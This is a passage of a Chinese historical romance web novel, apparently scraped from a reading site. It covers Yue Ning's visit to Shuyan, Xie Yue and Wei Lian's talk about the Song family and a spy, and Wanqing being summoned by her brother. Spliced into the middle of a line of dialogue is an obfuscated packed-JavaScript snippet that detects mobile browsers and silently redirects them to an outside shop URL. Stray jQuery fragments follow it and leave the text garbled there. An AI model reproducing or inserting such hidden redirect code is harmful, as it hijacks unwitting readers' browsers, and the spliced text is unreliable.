纾延满脸惊讶:“你怎么来了?”
“我回了善堂,晚晴告诉我出事了。”岳凝满脸焦急,“后来苗苗派人回来报平安,我才知道你出事了。报信人来的时候晚晴已经回去了,不然她也是要跟我一起来的。”
“我没事。你看我现在活蹦乱跳的,难道像有事的吗?”
不过,纾延目光看向站在她身后的魏廉,看起来他们之间已毫无芥蒂,这倒是让人又惊奇,又欣慰。
两人相携进府,谢越和魏廉走在后面。
“本来想给你做生辰的,没想到和马赛撞到了一起,”岳凝道,“这下安排的活动看来只有晚上的大餐能进行了。”
“你们要给我过生日啊?”纾延有些意外。
竟让她在一天之内被那么多人关心和在意,心底缓缓流过一阵暖流,纾延微微垂下眼,柔声道:“快说说,你们都安排了什么活动?”
岳凝故作正经:“偏不告诉你!”
“嘿!”纾延挽着她胳膊的手拍了她一下,“那晚膳是晚晴下厨吗?”
“原本是的。”
“什么叫原本?”
两人一起穿过回廊,迈过月亮门,早忘了后面跟着的两个人。
“你要是输了比赛呢,就只能吃我做的菜了。”
“喂,对我你怎么能这么狠心呢?”
岳凝丝毫不为所动:“你要是敢在比赛里受伤,就要一个月都吃我做的菜。”
“那真是酷刑啊!本朝的司寇大人该由你来当才对!”
两人笑了一阵,岳凝微微松了口气,“如今看你这幅样子,我才相信你真的没事。”
纾延笑:“能有什么事呢?”
“那姓宋的可不好相与,当年他向我祖父提亲被拒,还曾带人在雨夜拦过我的轿子!”
纾延跨过门槛的脚步一顿,“还有这样的事!”
岳凝点头,“他们家,做官的做官,经商的经商,还专有一派人干那催贷收保护费的黑活儿。可谓难缠得很。”
她顿了顿,牵着她的手走进屋内,“明的我倒不担心,就怕他们来阴的。”
谢越道:“他们没这个胆子。”
他一出声,纾延和岳凝才惊觉他二人仍在。
“宋家的族长宋元初是没这个胆子,”魏廉道,“可他底下那个宋伟,耍起来颇有几分不知天高地厚。”
“可惜他手下只有一群宵小,翻不出浪来。”
魏廉欲言又止,二人对视一眼,魏廉咽下了没说出口的话。
纾延看得分明,知道不可能在谢越面前问出他没说出口的话,于是道:“我会小心的,这种人我也见多了。”
岳凝看她一眼,纾延回以一笑。
“好了,难得你来一趟,不要再聊这些糟心事了。我做东,与你们二位宴请一番如何?”
“你做东,”岳凝确认道,“不是你下厨吧?”
纾延被气笑了,“等你生辰,我一定亲自下厨,逼你吃个三天三夜!”
她眼底闪过一丝不易察觉的哀伤,“好啊,还要一年呢,想来你的厨艺也不会止步不前吧——难得有机会,今晚我们抵足夜谈吧。”
纾延闻言顿时一愣,下意识地去看谢越。
如果她就这么答应,岳凝到了她房中,一定会发现她和谢越分房的秘密。
岳凝察觉到气氛的凝滞,她顺着纾延的方向将询问的目光投向谢越,“不方便吗?”
谢越立刻道:“怎么会,正好今晚我还有事要与子敬彻夜相商。有岳娘子陪纾延,是再好不过了。”
魏廉瞪大了眼睛,可迎着岳凝的目光,也只能硬着头皮认下。
纾延接着道:“那我让人把你的枕头送到书房吧。”
谢越垂眼看她:“嗯。”
纾延被他看得有些脸红,连忙避开眼拉着岳凝去花厅里说话。
两人的背影消失在珠帘之后,谢越也收回目光。
一路向书房走去,魏廉还在他背后絮絮:“我风尘仆仆给你办完事回来,都不配回家睡一觉吗?”
谢越打开门,随手一指,毫无感情:“书房有榻,你知道被褥在哪儿。”
魏廉:“……”
但他魏廉岂是那么好打发的!
“你老实跟我说,你跟嫂子之间到底有什么猫腻?”
谢越走到案后。
“书房不是一直都有你的枕头吗?岳凝陪嫂子过夜,你拉我陪葬干什么?”
谢越转身。
对上他怀疑的目光,他脸不红心不跳:“是你为了躲岳娘子才一定要揽这个送信的差事,如今接了聘书,都没什么话要对我说吗?”
“从领你一人的薪酬变成领你夫妻二人的罢了。明遇,这般遮遮掩掩的,可不像你,莫非——”
魏廉手中折扇“啪”地一收,隔案逼近他,“莫非——你们——在我不在的时候吵架了?”
谢越冷漠瞥他。
他登时更来劲了:“你之前推了马赛的评审,就是为了陪嫂子庆生赔礼道歉吧!”
“那天是纾延的生辰,我不需因要向她道歉才陪在她身边。”谢越不紧不慢道。
他一幅气定神闲的样子,倒显得他大惊小怪了。
魏廉哼了一声,摇着扇子道:“嫂子看到你会脸红,倒也不像吵架的样子。”
谢越一怔:“……你说什么?”
她为他脸红吗?
“呦,”魏廉收了扇子,“这没刮风没下雨的,你忽然就听不清我说什么了?”
“……你今天心情不错,所以专来气我的是吧。”
“今日是有些开心,但不只为自己,还为你。”魏廉不顾他不悦的目光一屁股坐到案上,“明遇,你变了。”
谢越逼他从他的书案上滚下去,“什么?”
魏廉怕再挣扎他真的会拔剑砍他,一撩衣摆,从案上跃下。
“以前的你总是一副随时赴死的样子,几时让身边的人这么牵动你的情绪过?”
听到他最后一句,谢越神色骤黯,往事在记忆里染着淋漓的血色,从来不会消失。
“你倒是提醒了我,”他自嘲一笑,“为将者,情为大忌。”
“情是忌,无情就不是吗?”魏廉不以为然,“更何况,明遇你是真的无情吗?无情者,早便将过往抛之脑后,拿他人的命都当做自己的踏脚石!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968423|192742||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
谢越笑了一下,“你是不是又要跟我说一个一心向死的将军,只会将军队带向灭亡。”
魏廉耸耸肩,“你要是现在死了,裴家一定会逼嫂子改嫁——你不是派人去建安调查嫂子的底细吗,怎么后面反而没有动静了——是不是你发现,你死了,裴家也不会护着嫂嫂?”
此言一出,谢越眼底骤然一沉。
这番话便如一把利剑,瞬间刺中他心底的隐忧。
他虽不曾有过父母,但从从军的那一天起,所见的皆是离别时亲人的难舍——
是千里之外寄来的冬衣,是不识字的士兵捧着家里寄来的信控制不住的傻笑。
让他误以为天下父母皆该是如此。
所以他从未担心过纾延的后路,她亲族鼎盛,自然会护她周全。
可如今……
魏廉仔细观察着他的神色:“我猜对了?”
谢越不答。
他嗤笑一声,“我早就跟你说过,这些‘钟鸣鼎食’之家,没一个好东西!”
对外人无情便罢了,可纾延,是他的亲生女儿啊。
谢越没有回答,而是将他带回的刘统寻的书信裁开,抽出。
哪怕是对魏廉,他也不想揭开她的伤疤。
见此,魏廉也登时明白,再说下去,他就真的要对他翻脸了。
罢了,总归来日方长。
窗外蝉声鸣鸣,窗内灯火幽幽。
低头将信上的内容一目十行地看完,谢越打开灯罩,点燃信纸。
他手一松,火苗跌在铜盆里,瞬间化为灰烬。
“那个奸细又回到柳镇了。”
魏廉:“据线报,宋家跟这件事也脱不开关系,这么火急火燎地抢夺褚家的生意,怕是时间紧急,再晚就不好浑水摸鱼了。”
谢越沉吟不语,心中快速闪过柳镇盘根错节的人物关系。
魏廉瞅着他,冷不丁道:“如果嫂子输了,你待如何?”
闻言,谢越抬眼。
“她不会输的。”
***
夜漏更深,县衙外静静悄悄,县衙内每个当差的下人都低头疾行,小心翼翼,生怕一个不慎触了县太爷的眉头。
晚晴来到大厅,高坐堂上的张绍明一见她,将茶杯重重一搁,叱道:“磨磨蹭蹭的,怎么才来?”
何韵坐在椅子上笑道:“人家现在是将军夫人面前的红人了,自然不能像以前那样任你呼来喝去了。”
“她以为自己翅膀硬了,”张绍明冷哼道,“长兄如父,我大晋还从来没有不孝不义的‘贤妇’!”
何韵冲她笑盈盈道:“不孝不义这可太重了。咱们晚晴一向是最懂事的了,怎么会忘了她的根是哪里的呢?这没有根的人可是爬不高的!”
晚晴半垂下眼,“兄长有什么吩咐,但请直言。”
张绍明冷哼一声,露出一副算你识相的表情,“想来你也听说了,今天发生了一桩小小的误会。将军夫人耳根软,听信了那褚家夫人的谗言,误会了宋家兄弟!
“你就去跑一趟,带些礼品,劝劝将军夫人,便将这个赌约罢了吧,免得到时候大家都下不来台!”